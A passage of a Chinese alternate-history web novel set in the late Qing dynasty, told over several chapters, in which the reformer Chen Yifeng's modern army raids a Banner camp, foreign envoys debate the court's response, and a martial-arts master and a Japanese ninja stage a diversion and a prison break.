一旁的食客擦了擦嘴,压低声音道:“千真万确!我表弟就在望海做生意,亲眼看见那帮人打着官府的旗号,明目张胆地收保护费。不给钱就砸店,这不是土匪是什么?” 酒馆里的议论声此起彼伏。自从启文报出现后,这些普通百姓第一次有了了解朝廷内幕的渠道。那些通俗易懂的白话文字,比官府张贴的文言告示更容易引起共鸣。 “放肆!” 突然一声怒喝打破了酒馆内的嘈杂。 一名面色涨红的读书人猛地站起,茶碗被他一掌拍得震响,茶水溅了一桌。他指着那群议论的食客,声音因愤怒而颤抖:“你们这些人,还算是大清的子民吗?陈逸风那些歪理邪说也信?” “大胆!”读书人一把抢过旁边食客手中的启文报,“这等诽谤朝廷的文字,也敢光明正大地传阅?不管真假如何,君要臣死,臣不得不死。这不就是铁板钉钉的事实!” 说着,他将报纸撕得粉碎,碎片纷纷扬扬地落在地上。 “找死!”被抢报纸的八旗子弟勃然大怒,抬手就是两个响亮的耳光。 “啪!啪!” 清脆的巴掌声在酒馆内回荡。 “臭书生,少在爷面前装模作样!”八旗子弟揪住读书人的衣领,“你们这些人,整天就知道君君臣臣父父子子,可曾想过我们这些小民的死活?” 其他举子见状纷纷加入战团,有人抄起桌上的碗筷,有人操起板凳。酒馆顿时乱作一团,打砸声、怒骂声此起彼伏。 这样的冲突在大清各地频频上演,这是两种思维的对抗。读书人坚持着几千年的传统思维,而普通百姓则开始有了独立思考的意识。 店小二躲在柜台后面,看着眼前的混乱,不知所措。掌柜的连忙让伙计去报官,自己则在一旁劝架:“几位爷,消消气,有话好说,别打坏了东西啊......” 但没人理会他的劝阻。这场冲突早已超出了单纯的争吵范畴,而是两种意识形态的碰撞。 街上的行人被打斗声吸引,纷纷驻足观望。有人摇头叹息,有人窃窃私语,更多的人选择默默离开。 不一会儿,几名衙役赶到现场。他们挥舞着水火棍,将打斗的双方分开。 “都住手!”为首的衙役厉声喝道,“光天化日之下,竟敢在街上斗殴?想去大牢里住几天吗?” 双方这才悻悻地住手。读书人整理着凌乱的衣冠,脸上还留着清晰的巴掌印。八旗子弟们也没讨到好,衣服被扯破,有人嘴角挂彩。 衙役将几个主事者带走问话,其他人则趁机散去。酒馆内一片狼藉,掌柜的心疼地看着被打砸的桌椅,连连叹气。 这样的场景,在京城各处都在不断上演。陈逸风的启文报就像一把尖刀,深深刺入大清王朝的腐朽躯体。 紫禁城内,大臣们也陷入了恐慌。 “不行!绝对不能让他继续这样下去……”胤禛从椅子上跳起来,来回踱步,“他就敢揭露我们满人的老底。如果他把这些年朝廷和洋人签的条约都公布出来......” 殿内一片哗然。这确实是他们最担心的事。那些割地赔款的条约一旦公之于众,后果不堪设想。 就在此时,大太监沈含杰慌慌张张地冲进殿内,额头上的汗珠不停滚落:“陛下!太后!大事不好了!曾国藩带着两万骑兵向京城来了!” “什么?”慈安太后手中的茶碗应声而碎,茶水溅在华贵的地毯上,留下一片深色的痕迹。 殿内顿时陷入一片死寂,所有人的目光都聚集在沈含杰身上。 官道上,马蹄声如雷,震动大地。 两万骑兵组成的洪流奔涌向前,鼓号声声不绝。这支队伍就是曾国藩手中最精锐的力量,是让各路诸侯闻风丧胆的湘军铁骑。即便在这个火器横行的时代,骑兵依然是战场上的王者。没有任何兵种能比得上骑兵那种令人胆寒的冲击力。 “报!”一名亲兵策马疾驰而来,勒马停在队伍前方,“大帅,前方就是德州了。” 曾国藩抬眼望去,远处城池轮廓若隐若现。他捋了捋胡须,望向远处。这一次北上,不仅仅是为了剿灭捻军,更是要给朝廷一个交代。 四月,僧阿端沁在山东菏泽全军覆没的消息传来,震惊朝野。这位战功赫赫的蒙古亲王陨落于此,让朝廷颜面扫地。在强硬的圣旨催促下,湘军主力不得不北上。 第一百五十三章 朝廷的妥协 “大帅,”曾国荃策马靠近,压低声音道,“探子来报,德州城内民情不稳,百姓议论纷纷。” 曾国藩微微颔首,目光依旧望向远方。对付捻军这样的流寇,湘军却打得束手束脚,甚至让李鸿章的淮军抢了风头。这其中的玄机,外人不得而知。 “大帅!”又一名亲兵快马加鞭赶来,“启文报的最新一期送到了。” 曾国藩接过报纸,在马背上仔细阅读。随着阅读的深入,他的眉头越皱越紧,眼中闪过一丝凝重。 “传令,全军就地扎营!”曾国藩突然下令。 营帐搭建完毕,曾国藩坐在主帐内,面前摆着一壶温热的老酒。 “大哥。”曾国荃掀帐而入,看到兄长独自饮酒的模样,不由关切地问道:“可是有什么烦心事?” “你看看这个。”曾国藩将报纸递给弟弟。 曾国荃快速浏览一遍,脸色也变得凝重起来:“这陈逸风,野心不小啊。著书立说就罢了,现在竟然私练新军,还在报纸上公然抨击朝廷政策。” “不止如此。”曾国藩放下酒杯,眼中闪过一丝精芒,“他这是在逼朝廷表态。拉拢洋人、渗透琉球,步步为营,每一步都在试探朝廷的底线。” “那我们...” “传令下去,全军加速前进。”曾国藩站起身,衣袖一挥,“这个时机,不能错过。” 两万铁骑继续北上,所过之处,地方官员噤若寒蝉,无人敢阻。消息如长了翅膀般,很快传遍大江南北。 京城内,文武百官议论纷纷。 “曾国藩这是要造反啊!”一位老臣在私下聚会中愤慨道。 “两万精锐骑兵,直指京师,这不是造反是什么?”另一位官员附和。 “完了完了,大清这是要变天了...” 紫禁城中,慈安太后和慈禧太后罕见地同坐一堂。宫女们手持香炉,檀香袅袅升起。 “马上召集塞外铁骑进城,驻扎昌平。”慈禧的声音透着一丝寒意。 “还要联系各国使节,给曾国藩施压。”慈安补充道,眼中闪过一丝忧虑。 这时,太监总管高声通报:“远虎求见!” 远虎被两名小太监搀扶着进来。他虽然伤势未愈,脸色苍白,但还是强撑着跪下:“太后娘娘,奴才冤枉啊...” “不必多说。”慈禧抬手打断,目光如刀,“让我问你最后一个问题,你背后的靠山究竟有何打算?” 远虎咬着牙,豆大的汗珠从额头滚落:“回太后,陈先生最想要的是推广西学。至于养兵自卫,也是被逼无奈。这一年多来,他遭遇暗杀和军队围剿不下十次,若不自保,早就没命了。” 慈安沉吟片刻,眼中闪过一丝决断:“你和沈含杰去趟望海,告诉陈逸风,官府已经答应了他开出的三个要求。至于第四个条件,只能答应一半。望海城内的治安权,可以由明月商行护卫和承禄府共同负责。” “奴才遵命!”远虎重重叩首,额头磕在地上发出闷响。 殿内只剩下太后们和皇帝后,同治帝忍不住问道:“母后,就这样认输了吗?” “这不是认输,是妥协。”慈禧的声音中带着一丝无奈,“朝廷需要时间。现在民心浮动,正是曾国藩这样的野心家趁势而起的时候。我们必须先稳住局面。” 同治帝若有所思地望向东方。在他年幼的心灵中,对那个名叫陈逸风的人充满了好奇。那个人写的书中,似乎蕴含着一种特别的东西,一种与众不同的气质。 与此同时,望海港。 陈逸风站在码头边,看着远处的海面。 “老爷。”管家小心翼翼地走来,“京城那边传来消息,曾国藩率军北上了。” 陈逸风嘴角微扬:“来得正好。” “老爷是说...”管家眼中闪过一丝疑惑。 “这盘棋,终于要开始了。”陈逸风转身,目光如炬,“去准备一下,过几天怕是要有贵客到访。” 码头上,工人们正在卸货。一箱箱火器、机械零件被小心翼翼地搬运下船。这些都是陈逸风从洋人那里购买的最新装备。 在码头不远处的营地里,数千新军正在操练。他们身着统一的制服,使用的都是最新式的火器。教官们大声呵斥着,士兵们整齐划一地进行着各种训练。 这支新军,就是陈逸风的底气所在。虽然人数不多,但装备精良,训练有素。最重要的是,他们都是真心实意地追随陈逸风,愿意为了改革而战斗。 “先生!”一名士兵跑来报告,“探子回报,有一队人马正从京城方向赶来。” 陈逸风点点头:“知道了。让厨房准备一桌酒席,想必这些人赶了一路,也该饿了。” 夜色如墨,天津城外的八旗大营灯火通明。营帐内觥筹交错,端阳都统正和几个心腹推杯换盏,脸上挂着醉意。 “这批洋钱,可真是来得及时。”端阳都统摩挲着手中的银元,醉眼朦胧中透着几分贪婪,“明日一早,直取望海港,那陈逸风不过二百人马,再厉害又能如何?” “大人说得对!”一名心腹赶紧附和,“那陈逸风再能打,也不过是乌合之众,怎及得上我八旗精锐?” “听说那些新军,连站队列都歪歪扭扭的。”另一人端着酒杯凑上前,“大人这次可是要发大财了!” 端阳都统摆了摆手,示意亲兵再添酒:“那些洋人的货物,可都是好东西啊。”他眯着眼睛,嘴角勾起一抹得意的笑容,“等明日拿下望海港,这些货物就都是我们的了。” 营帐外,夜风呜咽,吹得火把忽明忽暗。守卫的八旗兵打着哈欠,昏昏欲睡。他们丝毫没注意到,黑暗中正有一道道人影悄然靠近。 “报告,前方五十米有巡逻队,四人一组。”通讯兵压低声音。 陈逸风点了点头,手势示意部队暂停。他仔细观察了一下地形,随即做出部署:“一队二队,从左右包抄,务必要悄无声息。” 新军战士们动作轻盈,这支队伍经过特种作战训练,每个人都是夜战的好手。 第一百五十四章 夜袭八旗营 “咔嗒”一声轻响,巡逻的八旗兵还没反应过来,就被制服了。 “这些八旗兵,连警戒都不会布置。”一名新军战士摇了摇头,熟练地用绳索捆住俘虏。 陈逸风观察着营地布局:“按计划行事,火攻为号,斩首为要。记住,一定要控制住军械库和马厩。” 黑暗中,新军战士们迅速分散开来。他们动作娴熟,呼吸平稳,每个人都清楚自己的任务。 突然,一名八旗兵揉着眼睛从营帐里走出来。他刚要解手,就看到一个黑影闪过。 “什么人!”他刚要喊出声,一记手刀已经劈在了他的后颈上。 新军战士架住他软倒的身体,轻轻放在地上。 “快,趁现在。” 几名战士迅速潜入军械库,将提前准备好的燃烧物放置在关键位置。 另一队人马则悄然接近马厩,准备在关键时刻放火惊马。 夜幕里轰然绽放一抹火红的烟花,这是进攻的信号。 “动手!” 刹那间,火光冲天。数十处火头同时燃起,将夜空映得通红。 “敌袭!” “快跑啊!” 八旗兵们从睡梦中惊醒,手忙脚乱地找寻武器,却发现军械库已经着火。有的人连裤子都来不及穿,就被火光和枪声逼得仓皇逃窜。 “砰砰砰!” 斯宾塞步枪的枪声在营地内此起彼伏。新军战士们动作迅速,投掷燃烧瓶,射击,快速转移。两百人打出了两千人的气势。 惊慌失措的八旗兵们四处奔逃,有人想组织反击,却找不到敌人在哪里。有人想夺回军械库,却被密集的火力压制。 马厩里的战马受惊,疯狂地冲撞栅栏。当栅栏被撞开时,数百匹战马四处奔逃,将营地搅得更加混乱。 “保护都统!”端阳的亲兵们大喊。 但为时已晚,十几个黑影已经包围了大帐,手中的斯宾塞步枪闪着寒光。 端阳都统刚才还在畅想明天的胜利,此刻却狼狈地躲在桌子底下,满脸惊恐。 “都统大人,”一个冰冷的声音传来,“您刚才不是说要拿下望海港吗?” 端阳抬头,看到一张年轻的面孔,正是陈逸风。 “你...你...”端阳结结巴巴说不出话来。 陈逸风居高临下地看着他:“现在,您是我的俘虏了。” 这场夜袭,完全打乱了八旗大营的部署。原本准备明天进攻望海港的计划,彻底泡汤了。 更重要的是,这一战,将彻底打破八旗兵不可战胜的神话。 火光映红了半边天。远处的天津城中,百姓们望着这边的火光,议论纷纷。 “听说是新军干的!” “才两百人就打垮了八旗大营?” “这怎么可能!” 但事实就摆在眼前。当第一缕晨光洒向大地时,八旗大营已成一片废墟。 陈逸风站在土丘上,看着部下们有条不紊地清点战利品、处理俘虏。这支队伍,已经完全不同于传统的清军。他们有纪律、有战术、有现代化装备。 “清点完毕!”通讯兵跑来报告,“缴获火器三千余件,战马两百余匹,粮草辎重若干。俘虏八百余人,其中包括端阳都统在内的高级军官十二名。我军伤亡七人。” 陈逸风点点头:“伤员如何?” “都是轻伤,已经得到及时处理。” “很好,按计划撤离。”陈逸风转身看了眼即将升起的朝阳。 新军战士们井然有序地撤离,带着俘虏和战利品消失在晨雾中。他们的脚步声轻盈而坚定,仿佛踏着新时代的节奏。 这一战,不仅打垮了一支八旗军,更打破了一个时代。它证明,在新的时代里,不再是人多就能取胜。科技、训练、战术,才是决定胜负的关键。 消息很快传到了京城。八旗子弟们议论纷纷,朝廷重臣们更是惊骇欲绝。两百人夜袭两万大营,这简直闻所未闻!有人说这是奇耻大辱,有人则暗暗庆幸自己不在现场。 茶馆里,酒楼中,到处都在传颂这个不可思议的战绩。有人说陈逸风用了妖法,有人说他得到了洋人的帮助,更有人说这是天意,是老天爷要惩罚八旗的骄纵。 但在议政衙门,气氛却异常凝重。 裕王胤禛没有惊慌,而是立刻召集了各国使节。在议政衙门的宴会上,他委婉地表达了朝廷的态度——大清依然牢牢掌控着局势。 俄国公使柯瑞斯基第一个表态:“肃亲孙放心,沙皇陛下永远是大清的朋友。如果需要,我们随时可以派遣哥萨克骑兵支援...” 俄国公使柯瑞斯基的话让裕王心烦意乱。窗外的寒风呼啸,仿佛在嘲笑他此刻的窘境。 书房内弥漫着一股若有若无的檀香,这是他惯用的安神之物。可此时却丝毫无法平复他烦躁的心绪。他站起身,踱步到窗前,看着庭院里光秃秃的枝桠在风中摇曳。 朝廷确实需要列强的帮助,但绝不能是俄国人。英法美虽然贪婪,但至少还讲规矩,用生意的方式赚钱。这群北方蛮子贪得无厌,恨不得把整个大清都吞下去。 “哈哈,阁下在开玩笑吧。”裕王转过身,强挤出一丝笑容,“眼下不过是些治安问题,还用不着劳烦贵国出兵。” 他的目光不动声色地扫过英法美三国公使,希望他们能出面说句话。 法国公使勒姆华柳放下手中的茶杯,瓷器与托盘相碰发出清脆的声响:“裕王殿下,我难以苟同您的观点。数千清军伤亡,这已经远超出普通治安事件的范畴了。” 他顿了顿,继续道:“在任何一个文明国度,这都已经构成叛乱。” 英国公使参赞汉华德接过话头:“我赞同勒姆华柳阁下的观点。这场冲突的本质,是两种价值观的对抗。陈逸风推广西学的努力值得肯定,我希望清廷能约束守旧势力,不要把学术之争演变成战争。” 汉华德端起酒杯,轻轻晃动着里面琥珀色的液体:“我们既不希望看到王冠落地,也不愿见到学者遭受迫害。” 第一百五十五章 议政衙门 裕王听出了英法两国的态度。他们当然希望像陈逸风这样推广西学的人越来越多,但也不愿意看到清廷倒台。到底盟约是与大清订立的,政权更迭必然损害他们的利益。 “不不不!”俄国公使柯瑞斯基突然站起身,他那粗壮的手指捋着卷曲的胡须,“皇帝陛下完全有权镇压这些异端!我赞同用强硬手段处置,而且我国愿意派遣军舰封锁望海港,断绝叛匪的退路。” 裕王握紧了拳头,这个俄国佬分明是想趁机染指渤海,妄图为俄国水军寻找一个不动港。一旦让他们的军舰进入渤海,引狼入室容易赶狼出门难。 美国公使司空澜一直保持沉默,他的目光若有所思地在众人脸上扫过。突然,他开口道:“裕王殿下,您今天召集我们,真正想讨论的恐怕不是陈逸风,而是正在北上的曾国藩吧?” 一语道破天机,满室皆寂。 司空澜不慌不忙地拿起酒杯,轻抿了一口葡萄酒:“湘军号称五十万,虽然夸大其词,但至少有二十五万精锐。这支军队征战十余年,战力不容小觑。恕我直言,朝廷现在拿不出能与之抗衡的力量。” 他放下酒杯:“再看看皇帝手中的军队,战斗力如何?陈逸风两次出手不仅废掉了一个八旗营,竟还擒获了满清要员。这样的军队如何保护皇帝?” 裕王的面色涨得通红,但司空澜显然没打算就此罢休。他站起身,踱步到窗前:“我必须提醒裕王殿下,陈逸风是美国公民,他的人身安全受美国法律保护。最近针对他的暗杀行动,不知道裕王准备如何解释?” “误会!都是误会啊!”裕王额头渗出冷汗,他急忙解释道,“这些都是些不法之徒所为,与朝廷无关。” 司空澜转过身,目光锐利:“或许你们觉得陈逸风带来了麻烦,但他掌握的力量,恰恰是能够拯救大清的关键。工业、科学,这才是朝廷自保的唯一出路。” 他的话字字诛心:“陈逸风已经用实际行动证明,只有这种力量才能对抗传统军队,才能制衡数十万湘军。可惜的是,清廷不但视而不见,反而处处打压。连报纸这种新文化出现,朝廷表现出的也只有恐慌。” “一个能生产先进武器的工业特区,难道不是任何国家的梦想吗?陈逸风愿意将这份力量献给大清,这不正是献给故土的赤诚之心吗?” 裕王无言以对。朝廷走到今天这一步,完全是咎由自取。若不是对陈逸风的猜忌,加上儒生的逼迫,也不会把事情闹到如此地步。现在好了,连美国人都得罪了。 几位公使相继告辞,留下裕王独自一人在书房中踌躇。他现在必须尽快进宫向两宫太后汇报,但该如何开口?如何解释这一切? 就在这时,一阵急促的脚步声传来。还未等通报,雅流领袖翁同龢就推门而入。 “王爷何必如此拒人之外”翁同龢不顾阻拦闯了进来,“我也不是什么恶魔,连寒暄几句的时间都不给?” 裕王重重地将茶杯放在桌上,茶水溅出几滴:“我惹不起你,还躲不起吗?你们这些雅流把事情搞得一团糟,现在连曾国藩都要北上了!” “哈哈,王爷不必担心。”翁同龢在椅子上坐下,神色从容,“只要朝廷一声令下,我这三寸不烂之舌,就能挡住大帅的铁骑。曾国藩不过是想趁乱要价罢了,他最多走到沧州就会止步。” 裕王的脸色稍霁,他长叹一声:“翁大人,别嫌我性子急躁。年关将至,朝廷诸事缠身,实在无力应付这些纷争了。给我个面子,别再让学子们闹事了。” 他走到翁同龢身边,压低声音:“实话告诉你,陈逸风的事情就此作罢吧。美国公使已经承认他是美国公民,再闹下去只会引起外交纠纷。” 翁同龢猛地站起身:“这是何意?难道就这么放过他?汉军绿营的伤亡,端阳被俘,这些都不追究了?朝廷还要支持那个特区不成?” 裕王摇头叹息:“翁大人啊,这些就不必多问了。我现在要进宫面见太后,具体如何处置还得等太后定夺。不过我劝你一句,朝廷好不容易安定下来,可别再生事端了。就当可怜可怜那个还未亲政的皇上吧。” 说完,裕王拍了拍翁同龢的肩膀,大步离去。书房里只剩下这位帝师独自沉思,他站在窗前,看着裕王的背影消失在庭院深处,脑海中思绪万千。朝廷的态度似乎已经有了转变,这对他们这些坚持传统的人来说,无疑是个巨大的打击。 夜色渐深,一轮残月挂在天边,给这个寒冷的冬夜增添了几分凄清。 秘密据点内,陈逸风正在给一群军官和年轻的惠民堂讲课。 “掌舵大局就像管理自家一样,这天下从来就不是一个人说了算。”陈逸风站在讲台前,目光扫过台下专注的面孔,手指轻轻敲击着桌面。 一名身着青衫的年轻人低头记录着,笔尖沙沙作响。旁边的军官们则神情严肃,时而交换眼神,似乎在思索着什么。 “你们看看历朝历代,哪个不是派系林立?”陈逸风的声音略带沙哑,“就连秦始皇那样的千古一帝,不也只是靠着战功威势勉强压服了几年?六国贵族的心思,从未真正臣服。” 讲台下方,一个戴着圆框眼镜的青年举手发问:“先生,那大唐盛世呢?难道不是一统天下的典范?” 陈逸风嘴角微扬:“李世民登基的路你们都知道,玄武门之变。大唐内部,关陇、山东、江南、河东诸多世家,哪个不是虎视眈眈?” 他踱步到窗边,望着外面昏暗的天色:“太宗皇帝靠着军功威望,才勉强压住这些世家大族。可到了武则天时期呢?五姓七望,不是照样兴风作浪?” 油灯的光芒映照在台下这些年轻的脸庞上,闪烁着求知的渴望。 第一百五十六章 高手对决 “再说宋朝,”陈逸风转身面对众人,“宋太祖烛影斧声的故事你们都听过。科举士大夫做大了,皇权反倒被压制。这就是权力的本质。” 一名身材魁梧的军官皱眉道:“先生的意思是,权力永远不可能集中?” “正是。”陈逸风点头,“我大中华地域辽阔,南腔北调,民情风俗各异。想要一言堂统治,那是痴人说梦。” 他走到墙边的地图前,手指划过辽阔的版图:“就拿满清来说,开国之初就有三藩之乱。康雍乾三朝号称盛世,可农民起义从未断绝。太平天国、捻军之乱就更不必说了。” 陈逸风回到讲台,端起茶杯抿了一口:“现在西北回部动荡,新疆维族也不安分。这场大战,怕是躲不过去了。” “先生!”一个年轻的惠民堂突然站起,“当今天下,到底有多少股势力?我们该如何自处?” 室内一片寂静,所有人的目光都集中在陈逸风身上。 “且听我细细道来。”陈逸风放下茶杯,“满清皇族八旗是一股,以翁同龢为首的雅流文人是一股。这两派表面上还是同盟,实则明争暗斗。” 他的声音低沉而富有磁性:“湘军是第三股势力,这些靠平乱起家的军事集团,野心勃勃。农民起义军虽然暂时被压下去了,但星星之火从未熄灭。” “蒙古、维族、回部、藏区,这些地方也都暗流涌动。最要命的是洋人势力的渗透。英国称霸海洋,俄国觊觎南下,法国、美国、普鲁士,还有那日本,都对我中华虎视眈眈。” 正说到这里,一名年轻军官突然问道:“先生,那我们算不算一股势力?” 话音未落,门突然被推开。孟明蛇快步走入,脸色凝重。他来到陈逸风身边,低声耳语几句。 陈逸风的表情瞬间僵住,眼中闪过不易察觉的慌乱。 “今天先到这里,三天后交一份答卷上来。”他匆匆收拾桌上的文件,快步向外走去。 夜色已深,繁星点点。十几匹快马踏着月光,向望海港疾驰。 原来在明月商行二楼,一个小时前来了位不速之客。 “老夫曾国藩,想见见这位西学大宗师。” 这位晚清重臣不随军北上,反而独自来访,若让朝廷知晓,后果不堪设想。 “封锁明月商行周边三条街,所有士兵上街巡逻!”陈逸风一边策马狂奔,一边向身边的亲信下令。夜风呼啸,吹乱了他的衣襟。 “孙忠义,让罚阁封锁望海各个要道。绝不能让朝廷知道这次会面!”他的声音里带着一丝焦急。 马队疾驰在空旷的官道上,四周一片漆黑。陈逸风心急如焚,他原本打算蛰伏几年,在各方势力间周旋,先把望海特区和琉球王国发展起来。 可曾国藩这一来,打乱了他所有计划。这位晚清重臣的到访,意味着什么?是敌是友?还是另有所图? 就在此时,路边的干草垛突然炸开,稻草四散飞扬。一道人影如鬼魅般扑出,月光下只见一抹白影闪过。 “西学邪魔,纳命来!”苍老的声音中带着杀意。 “保护先生!”孟明蛇纵身而起,拦在袭击者面前。他的身影在月光下拉长,如一道铁壁。 但他还未看清对方,胸口已中一掌。劲风呼啸,孟明蛇感觉五脏六腑仿佛被重锤击中。 “好快!”孟明蛇喷出一口鲜血,却死死缠住对方。 “名不虚传的北境王者,可惜还是太嫩了。”神秘老者又是一掌。 孟明蛇倒飞而出,又喷出两口鲜血。他勉强稳住身形,震惊问道:“这是雪域圣地的无上法门!你就是皇城内传说中的那位大师!” “开火!”孙忠义拔出左轮连开三枪。 令人震惊的是,白发老者的身形诡异地扭曲,竟避开了所有子弹。 众护卫齐射,弹雨密集。火光在黑夜中闪烁,子弹呼啸而过。可老者的身形飘忽不定,竟一一躲过。他的动作看似缓慢,却总能提前避开子弹的轨迹。 陈逸风从未想过,这世上竟真有如此匪夷所思的神通。 眼前这位紫禁城的老祖宗,举手投足间便让战马血溅当场,那诡异的身法更是令人毛骨悚然。他的动作快得几乎看不清轨迹,只能看到一道模糊的残影在月光下飘忽不定。 冷风呼啸,带着血腥味扑面而来。陈逸风眯起眼睛,额头渗出细密的冷汗。 “这哪里是在躲子弹......”陈逸风心中暗自思忖。 任何人的动作都有迹可循,眼神、肌肉、呼吸,在扣动扳机的瞬间都会暴露出蛛丝马迹。这老怪物分明是在预判士兵们的动作,未等子弹出膛便已避开了射击轨迹。这种身手,已经完全超出了常理的范畴。 “呵呵,区区洋枪也敢在我面前逞威?”老祖宗站在月光下,长袍无风自动,声音中带着不屑,“今日便让你见识见识,什么才是真正的本事!” 话音未落,他的身影已如鬼魅般掠入人群之中。几名士兵还未来得及反应,就被一股无形的力量掀翻在地,痛苦地抽搐着。 “保持阵型!”陈逸风厉声喝道,“不要乱!” 孟明蛇看着眼前这一幕,脸色阴晴不定。他原以为望海已在新军的掌控之下,却不曾想会遇上这等高手。此时后悔未多带些护卫已是无济于事,只能暗自祈祷援军能够及时赶到。 夜空中突然绽放出橘红色的焰火,照亮了此地。 “先生快走!”孟明蛇声音嘶哑,“今日我等便死在这里了!” 孟明蛇已然化身疯虎,不要命般扑向老祖宗,招招都是同归于尽的打法。他的眼睛布满血丝,牙关紧咬,完全不顾及自身安危。 “就凭你,也配与我同归于尽?”老祖宗不屑地撇了撇嘴,手中寒光一闪。 一道暗器破空而来,快得几乎看不见。陈逸风胯下的战马突然一声悲鸣,两条后腿竟被齐齐切断,带着他重重摔在地上。 第一百五十七章 牢房被劫 “是...是冰块?”有士兵惊呼出声,声音中带着难以置信。 地上那闪着寒光的物事,竟是路边最普通不过的一片薄冰。这种平凡无奇的东西在老祖宗手中,竟然也能成为致命的武器。 “妈的!老妖怪,我跟你拼了!”一名班长红着眼睛掏出手雷,朝着老祖宗的方向猛冲过去。 “蛇爷快躲!让我们来!”其他士兵纷纷大喊。 轰隆两声巨响,班长的身躯瞬间四分五裂。爆炸的气浪掀起漫天尘土,血肉横飞。 “班长!”士兵们悲愤欲绝,有人已经泪流满面。 这位在望海血战中与他们并肩作战的老班长,就这样化作了漫天血雨。 玉石俱焚的打法惊到了这位大佬。虽然躲过了主要冲击,但爆炸产生的冲击波还是让他一阵眼花。他踉跄了几步,第一次露出了些许狼狈。 “给班长报仇!”十多枚土制手雷呼啸着飞向老祖宗。爆炸声此起彼伏,火光照亮了半边天空。 然而这些攻击对他而言形同虚设,在旷野中闪转腾挪,愈发显得诡异莫测。每一次爆炸都像是提前预判到了一般,总能在千钧一发之际避开。 “都他妈是废物!”被压在马下的陈逸风终于挣脱出来,声嘶力竭地吼道,“我是怎么教你们的?组成火枪阵,集火射击!” 他抽出马鞭狠抽了一个想要送死的副班长,“不要管他在哪,用弹幕覆盖就是了!别他妈学人家送死!” 士兵们如梦初醒。这不就是当初训练时最基础的战术吗?慌乱中竟然把这么简单的道理都忘了。 十五支斯宾塞步枪迅速列阵,组成了一张密集的火力网。虽然称不上密不透风,但也足以限制老怪物的行动了。枪声大作,火光四射。 “呵,人多势众还玩冷兵器,你们还要不要脸?”老祖宗在弹雨中穿梭,不忘冷嘲热讽。 “少跟老子玩激将法!”陈逸风破口大骂,“爷就是不要脸,你能把我怎么着?有本事你就站着别动!” 就在此时,四面八方突然亮起无数火把,照得夜空通明。 “虎贲营准备,全速前进!” “羽林军向东包抄,按队伍分组展开阵型!” “点燃照明弹,封锁所有退路!” 密集的脚步声由远及近,杀气腾腾。援军终于赶到了。 老怪物的身形愈发飘忽,但始终不见他要逃走的意思。反而在火力网的缝隙中游刃有余,时不时还能伤到几个士兵。 陈逸风眉头紧锁,心中警铃大作。 “不对劲......”他低声对孙忠义说道,“这老东西分明已经无路可退,为何还在这里纠缠?” 突然,一个可怕的念头闪过脑海。 “该死!分明在声东击西!他今天根本不是冲我来的!”陈逸风猛地拍了下大腿,脸色变得极为难看。 此时此刻,关押王四莲的秘密地牢外,一道纤细的身影无声无息地滑了下来。月光下,那人影轻盈得宛如一片羽毛。 那是一个身着夜行衣的女人,面容精致,眼神却冷得吓人。 雾隐小鬼。 这个曾经想要炸死陈逸风的日本女忍者,居然追到了大清朝来。她的出现,无疑给这场混乱又添加了一个致命的变数。 她的毒蒺藜无声无息地刺入两名守卫的后颈,鲜血喷涌而出。守卫甚至来不及发出一声呼喊,就永远地闭上了眼睛。 油灯下,雾隐小鬼那张精致的脸庞带着冷笑。她的眼神中带着某种病态的快感,仿佛在欣赏一件精美的艺术品。 为了完成任务,她不惜藏身商船底舱,靠吃老鼠度日偷渡至泉州。那段日子虽然艰难,但对于一个训练有素的忍者来说,这些都不算什么。一路北上,终于在京城与德川家的探子取得联系。 通过理藩院的亲日官员,她成功见到了老祖宗,并加入了清廷鹰爪。这个身份让她能够自由出入各个重地,为今晚的行动做好了充分准备。 地牢深处,关押着王四莲、都统端阳等重要人质。若是让他们逃脱,陈逸风在谈判桌上将失去重要筹码。这正是雾隐小鬼此行的真正目的。 “谁是端阳?谁是王四莲?”雾隐小鬼晃动着钥匙走进牢房,声音甜美动听,却带着一丝说不出的诡异。 “你定是我师父派来救我的吧?”王四莲看到来人,立刻泪流满面,“我的琵琶骨被打断了......” “闭嘴!”端阳厉声喝止,生怕这个蠢货坏了大事。随即他换上一副谄媚的嘴脸,对雾隐小鬼说道,“在下便是端阳,姑娘大恩大德,永世难忘!” 雾隐小鬼挑起端阳的下巴,妩媚一笑:“给姑娘我把名字刻进脑子里,我叫夜姐......” 几人很快脱困而出,向北面的接应马车狂奔。夜色为他们提供了很好的掩护,眼看就要成功逃脱。 然而半路却撞上了巡逻的新军。 “站住!再不停下就开枪了!”巡逻队的喊声划破夜空。 三声枪响接连响起,子弹呼啸而过。 “完了......”端阳面如土色,双腿发软。 雾隐小鬼冷冷地看了眼伤痕累累的王四莲,极其不耐烦和嫌弃:“抛弃这个废人!” “不行啊,此乃老祖宗座下入门弟子......”端阳还想说什么。 “呵,你们中原人就是这点不好,”雾隐小鬼突然出手,毒蒺藜,瞬间刺穿了王四莲的喉咙,“废物就该清理掉!” 鲜血喷涌而出,王四莲瞪大了眼睛,不敢相信自己会死在“救命恩人”手中。 “快走!”她催促着目瞪口呆的众人,“你们清国之所以没落,就是因为太过仁慈!我们日本从不养无用之人!” 夜色中,几道身影匆匆消失在街角,只留下王四莲的尸体躺在血泊之中,眼睛仍然大睁着,似乎在诉说着某种难以言表的绝望。 陈逸风带着一队人马疾驰在回城的路上,夜风呼啸,马蹄声急促。 紫禁城老祖宗显然对他了如指掌,深知他在新军中的威望,料定他遇险必然全军出动。 第一百五十八章 不速之客 “这老祖宗倒是精明。”陈逸风嘴角扬起一抹苦笑,手指无意识地摩挲着马鞍,“朝廷已经派沈含杰和远虎来谈判,这个节骨眼上杀我,对满清没有半点好处。” 夜色如墨,城外的寒风裹挟着细碎的尘土,打在脸上生疼。玄甲新军和上百罚阁高手的包围圈被轻易突破,北面传来急促的马蹄声,一辆马车载着都统端阳和几名军官呼啸而过,转眼便消失在漆黑的夜幕中。 “属下无能!”孙忠义猛地跪倒在地,声音中带着懊悔和自责,“未能护住大人周全,还中了敌人诡计,请大人责罚!”其他军官见状,也纷纷下跪,铠甲相碰发出清脆的声响。 “都起来!”陈逸风皱眉,语气中带着几分不悦,“我说过多少次了,咱们新军不兴这一套。大老爷们动不动就跪,成何体统?这件过错我也难辞其咎,是我大意了。” 孟明蛇捂着胸口,脸色略显苍白,但眼神依旧锐利:“大人,我知道黑鹰就在城里,只要您一声令下,咱们齐心协力必能擒获那个老家伙!” “胡闹!”陈逸风连连摆手,目光扫过众人,“你们还嫌事情不够乱?那位老祖宗离开就离开吧,可别自找麻烦。” 